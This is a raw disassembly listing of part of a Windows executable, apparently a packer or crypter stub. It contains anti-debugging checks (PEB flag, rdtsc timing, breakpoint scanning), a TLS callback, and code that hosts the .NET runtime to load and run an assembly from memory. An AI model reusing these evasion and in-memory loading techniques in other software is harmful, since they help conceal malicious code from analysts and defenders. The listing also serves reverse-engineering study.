TlsCallback_0+3Fj mov eax, [esi] test eax, eax jz short loc_43536D push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call eax add esi, 4 jmp short loc_435339 ; --------------------------------------------------------------------------- loc_43534F: ; CODE XREF: TlsCallback_0+1Dj mov eax, [ebp+arg_0] mov ds:dword_434010, ecx mov ds:dword_434014, eax mov eax, [ebp+arg_4] mov ds:dword_434018, eax mov eax, [ebp+arg_8] mov ds:dword_43401C, eax loc_43536D: ; CODE XREF: TlsCallback_0+29j ; TlsCallback_0+2Fj pop esi pop ebp retn 0Ch TlsCallback_0 endp ; =============== S U B R O U T I N E ======================================= sub_435372 proc near ; CODE XREF: start+84Bp cmp ds:dword_434010, 0 mov ds:dword_43400C, 1 jz short locret_43539C push ds:dword_43401C push ds:dword_434018 push ds:dword_434014 call TlsCallback_0 locret_43539C: ; CODE XREF: sub_435372+11j retn sub_435372 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43539D proc near ; CODE XREF: start+A1p ; TlsCallback_0+3p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi push eax push ecx mov eax, large fs:18h mov eax, [eax+30h] mov ecx, [eax] mov [ebp+var_4], ecx pop ecx pop eax rdtsc xor ecx, ecx add ecx, eax rdtsc sub eax, ecx cmp eax, 0FFFh jb short loc_4353CE push 0 call near ptr dword_43424C loc_4353CE: ; CODE XREF: sub_43539D+28j mov eax, [ebp+var_4] and eax, 10000h neg eax sbb eax, eax neg eax pop edi pop esi pop ebx leave retn sub_43539D endp ; =============== S U B R O U T I N E ======================================= sub_4353E1 proc near ; DATA XREF: start+67o arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] add eax, 0B8h mov ecx, [eax] cmp ds:dword_434030, ecx jnz short loc_4353FE inc ecx mov [eax], ecx and ds:dword_434030, 0 loc_4353FE: ; CODE XREF: sub_4353E1+11j xor eax, eax retn sub_4353E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435401 proc near ; CODE XREF: start+86p start+113p ; DATA XREF: ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi push edi mov edi, [ebp+arg_0] mov ecx, [ebp+arg_4] mov al, 0CCh repne scasb test ecx, ecx jz short loc_43541A push 1 pop eax jmp short loc_43541C ; --------------------------------------------------------------------------- loc_43541A: ; CODE XREF: sub_435401+12j xor eax, eax loc_43541C: ; CODE XREF: sub_435401+17j pop edi pop esi pop ebx pop ebp retn sub_435401 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_435421 proc near ; CODE XREF: start+282p var_48 = byte ptr -48h var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 48h push ebx push esi push edi mov edi, ds:dword_434254 xor ebx, ebx push offset aOle32_dll ; "ole32.dll" mov [ebp+var_14], ebx mov [ebp+var_10], ebx mov [ebp+var_C], ebx mov [ebp+var_4], ebx mov [ebp+var_8], ebx call edi ; LoadLibraryA mov esi, ds:dword_43423C push offset aCoinitialize ; "CoInitialize" push eax mov [ebp+var_38], eax call esi ; GetProcAddress push offset aCouninitialize ; "CoUninitialize" mov [ebp+var_18], eax push [ebp+var_38] call esi ; GetProcAddress push offset aMscoree_dll ; "mscoree.dll" mov [ebp+var_38], eax call edi ; LoadLibraryA push offset aCorbindtorunti ; "CorBindToRuntimeEx" push eax call esi ; GetProcAddress push offset aOleaut32_dll ; "oleaut32.dll" mov [ebp+var_1C], eax call edi ; LoadLibraryA mov edi, eax push 19Bh push edi call esi ; GetProcAddress push 17h push edi mov [ebp+var_20], eax call esi ; GetProcAddress push 18h push edi mov [ebp+var_24], eax call esi ; GetProcAddress push 8 push edi mov [ebp+var_2C], eax call esi ; GetProcAddress push 10h push edi mov [ebp+var_30], eax call esi ; GetProcAddress cmp [ebp+var_18], ebx mov [ebp+var_34], eax jz loc_43564F cmp [ebp+var_38], ebx jz loc_43564F cmp [ebp+var_1C], ebx jz loc_43564F cmp [ebp+var_20], ebx jz loc_43564F cmp [ebp+var_24], ebx jz loc_43564F cmp [ebp+var_2C], ebx jz loc_43564F cmp [ebp+var_30], ebx jz loc_43564F cmp eax, ebx jz loc_43564F push ebx call [ebp+var_18] test eax, eax jl loc_43564F lea eax, [ebp+var_4] push eax push offset loc_434338 push (offset loc_434345+3) push 2 push offset aWks ; "wks" push ebx call [ebp+var_1C] test eax, eax jl loc_43564F mov eax, [ebp+var_4] push eax mov ecx, [eax] call dword ptr [ecx+28h] test eax, eax jl loc_43564F mov eax, [ebp+var_4] lea edx, [ebp+var_8] push edx push eax mov ecx, [eax] call dword ptr [ecx+34h] test eax, eax mov eax, [ebp+var_8] jl loc_435652 mov ecx, [eax] lea edx, [ebp+var_14] push edx push offset dword_434150 push eax call dword ptr [ecx] test eax, eax jl loc_43564F push [ebp+arg_4] push ebx push 11h call [ebp+var_20] cmp eax, ebx mov [ebp+var_18], eax jz loc_43564F lea ecx, [ebp+var_28] mov [ebp+var_28], ebx push ecx push eax call [ebp+var_24] test eax, eax jge short loc_4355A8 mov eax, [ebp+var_8] cmp eax, ebx jz short loc_435592 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_435592: ; CODE XREF: sub_435421+169j mov eax, [ebp+var_4] cmp eax, ebx jz loc_435635 mov ecx, [eax] push eax call dword ptr [ecx+8] jmp loc_435635 ; --------------------------------------------------------------------------- loc_4355A8: ; CODE XREF: sub_435421+162j mov ecx, [ebp+arg_4] mov esi, [ebp+arg_0] mov edi, [ebp+var_28] mov eax, ecx shr ecx, 2 rep movsd push [ebp+var_18] mov ecx, eax and ecx, 3 rep movsb call [ebp+var_2C] mov eax, [ebp+var_14] lea edx, [ebp+var_10] push edx push [ebp+var_18] mov ecx, [eax] push eax call dword ptr [ecx+0B4h] test eax, eax jl short loc_435620 mov eax, [ebp+var_10] lea edx, [ebp+var_C] push edx push eax mov ecx, [eax] call dword ptr [ecx+40h] test eax, eax jl short loc_435620 lea eax, [ebp+var_48] push eax call [ebp+var_30] push ebx push ebx sub esp, 10h lea esi, [ebp+var_48] mov edi, esp mov eax, [ebp+var_C] movsd mov ecx, [eax] push eax movsd movsd movsd call dword ptr [ecx+94h] mov eax, [ebp+var_4] push eax mov ecx, [eax] call dword ptr [ecx+2Ch] push [ebp+var_18] call [ebp+var_34] call [ebp+var_38] loc_435620: ; CODE XREF: sub_435421+1B9j ; sub_435421+1CAj mov eax, [ebp+var_8] cmp eax, ebx jz short loc_43562D mov ecx, [eax] push eax call dword ptr [ecx+8] loc_43562D: ; CODE XREF: sub_435421+204j lea ecx, [ebp+var_4] call sub_435695 loc_435635: ; CODE XREF: sub_435421+176j ; sub_435421+182j lea ecx, [ebp+var_C] call sub_435695 lea ecx, [ebp+var_10] call sub_435695 lea ecx, [ebp+var_14] call sub_435695 jmp short loc_435690 ; --------------------------------------------------------------------------- loc_43564F: ; CODE XREF: sub_435421+91j ; sub_435421+9Aj ... mov eax, [ebp+var_8] loc_435652: ; CODE XREF: sub_435421+125j cmp eax, ebx jz short loc_43565C mov ecx, [eax] push eax call dword ptr [ecx+8] loc_43565C: ; CODE XREF: sub_435421+233j mov eax, [ebp+var_4] cmp eax, ebx jz short loc_435669 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_435669: ; CODE XREF: sub_435421+240j mov eax, [ebp+var_C] cmp eax, ebx jz short loc_435676 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_435676: ; CODE XREF: sub_435421+24Dj mov eax, [ebp+var_10] cmp eax, ebx jz short loc_435683 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_435683: ; CODE XREF: sub_435421+25Aj mov eax, [ebp+var_14] cmp eax, ebx jz short loc_435690 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_435690: ; CODE XREF: sub_435421+22Cj ; sub_435421+267j pop edi pop esi pop ebx leave retn sub_435421 endp ; =============== S U B R O U T I N E ======================================= sub_435695 proc near ; CODE XREF: sub_435421+20Fp ; sub_435421+217p ... mov eax, [ecx] test eax, eax jz short locret_4356A1 mov ecx, [eax] push eax call dword ptr [ecx+8] locret_4356A1: ; CODE XREF: sub_435695+4j retn sub_435695 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4356A2 proc near ; CODE XREF: sub_434960+CAp var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi push 1 mov esi, [ebp+arg_C] pop ecx mov [ebp+var_2C], ecx mov [ebp+var_28], ecx mov [ebp+var_24], ecx xor eax, eax and [ebp+var_C], al mov [ebp+var_1C], ecx mov [ebp+var_B], cl mov ecx, [ebp+arg_4] add ecx, 0FFFFFFFBh mov [ebp+var_20], eax mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_A], 2 mov [ebp+var_9], 2 mov [ebp+var_8], 3 mov [ebp+var_7], 3 mov [ebp+var_6], 3 mov [ebp+var_5], 3 mov [ebp+var_4], ecx loc_4356F2: ; CODE XREF: sub_4356A2+16Fj mov edi, [ebp+arg_0] mov cl, [eax+edi] cmp cl, 0E8h jz short loc_435708 cmp cl, 0E9h jz short loc_435708 inc eax jmp loc_43580E ; --------------------------------------------------------------------------- loc_435708: ; CODE XREF: sub_4356A2+59j ; sub_4356A2+5Ej mov edx, [ebp+arg_10] mov ebx, [ebp+arg_8] mov ecx, eax sub ecx, [edx] add ecx, ebx add ebx, eax cmp ecx, 5 mov [edx], ebx jbe short loc_435722 and dword ptr [esi], 0 jmp short loc_435732 ; --------------------------------------------------------------------------- loc_435722: ; CODE XREF: sub_4356A2+79j test ecx, ecx jbe short loc_435732 loc_435726: ; CODE XREF: sub_4356A2+8Ej mov edx, [esi] and edx, 77h shl edx, 1 dec ecx mov [esi], edx jnz short loc_435726 loc_435732: ; CODE XREF: sub_4356A2+7Ej ; sub_4356A2+82j mov dl, [eax+edi+4] test dl, dl jz short loc_435743 cmp dl, 0FFh jnz loc_4357FA loc_435743: ; CODE XREF: sub_4356A2+96j mov ecx, [esi] mov [ebp+arg_4], ecx shr [ebp+arg_4], 1 mov ebx, [ebp+arg_4] and ebx, 7 cmp [ebp+ebx*4+var_2C], 0 jz loc_4357FA and ecx, 0FFFFFFFEh cmp ecx, 20h jnb loc_4357FA xor ecx, ecx mov ch, dl mov cl, [eax+edi+3] movzx edx, byte ptr [eax+edi+2] shl ecx, 8 or ecx, edx movzx edx, byte ptr [eax+edi+1] shl ecx, 8 or edx, ecx loc_435784: ; CODE XREF: sub_4356A2+125j sub edx, eax sub edx, [ebp+arg_8] sub edx, 5 cmp dword ptr [esi], 0 mov ebx, edx jz short loc_4357CC mov ecx, [ebp+arg_4] push 18h movzx edi, [ebp+ecx+var_C] mov ecx, edi shl ecx, 3 mov edx, ecx pop ecx sub ecx, edx mov edx, ebx shr edx, cl test dl, dl jz short loc_4357B4 cmp dl, 0FFh jnz short loc_4357C9 loc_4357B4: ; CODE XREF: sub_4356A2+10Bj push 4 pop ecx sub ecx, edi push 1 shl ecx, 3 pop edx mov edi, [ebp+arg_0] shl edx, cl dec edx xor edx, ebx jmp short loc_435784 ; --------------------------------------------------------------------------- loc_4357C9: ; CODE XREF: sub_4356A2+110j mov edi, [ebp+arg_0] loc_4357CC: ; CODE XREF: sub_4356A2+EFj mov ecx, ebx add eax, 5 shr ecx, 18h and cl, 1 dec cl not cl mov [eax+edi-1], cl mov ecx, ebx shr ecx, 10h mov [eax+edi-2], cl mov ecx, ebx shr ecx, 8 mov [eax+edi-3], cl mov [eax+edi-4], bl and dword ptr [esi], 0 jmp short loc_43580E ; --------------------------------------------------------------------------- loc_4357FA: ; CODE XREF: sub_4356A2+9Bj ; sub_4356A2+B4j ... or dword ptr [esi], 1 mov ecx, [esi] inc eax test dl, dl jz short loc_435809 cmp dl, 0FFh jnz short loc_43580E loc_435809: ; CODE XREF: sub_4356A2+160j or ecx, 10h mov [esi], ecx loc_43580E: ; CODE XREF: sub_4356A2+61j ; sub_4356A2+156j ... cmp eax, [ebp+var_4] jbe loc_4356F2 pop edi pop esi pop ebx leave retn sub_4356A2 endp ; --------------------------------------------------------------------------- align 10h off_435820 dd offset dword_422000 ; DATA XREF: start+255w start+269r ... dword_435824 dd 8A2200h ; DATA XREF: start+22Cw start+232r ... dword_435828 dd 11DD6h ; DATA XREF: start+242w start+2EAw ... dd 34304h, 34234h, 34228h, 2 dup(0) dd 3432Ch, 3425Ch, 5 dup(0) dword_43585C dd 0ECh, 21000h, 11DD6h, 200h, 22000h, 21000h, 34A39h ; DATA XREF: .ex_cod:off_434024o dd 400000h, 10Fh, 21566h, 0 dd 1, 7 dup(0) TlsDirectory dd 0 TlsEnd_ptr dd 0 TlsIndex_ptr dd offset TlsIndex TlsCallbacks_ptr dd offset TlsCallbacks TlsSizeOfZeroFill dd 0 TlsCharacteristics dd 0 dd 1, 0 dd 12600h, 5, 1, 200h, 0D400h, 1000h, 15FE7h, 0E0000060h dd 1, 200h, 800h, 17000h, 0E4Ch, 0E0000060h, 1, 200h, 3800h dd 18000h, 70C8h, 0E0000060h, 1, 200h, 600h, 20000h, 663h dd 0E0000060h, 1, 200h, 800h, 21000h, 6EDh, 0E0000060h dd 3 dup(0) _ex_cod ends ; Section 4. (virtual address 00036000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00035A00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 436000h dd 80h dup(0) align 1000h _idata2 ends end start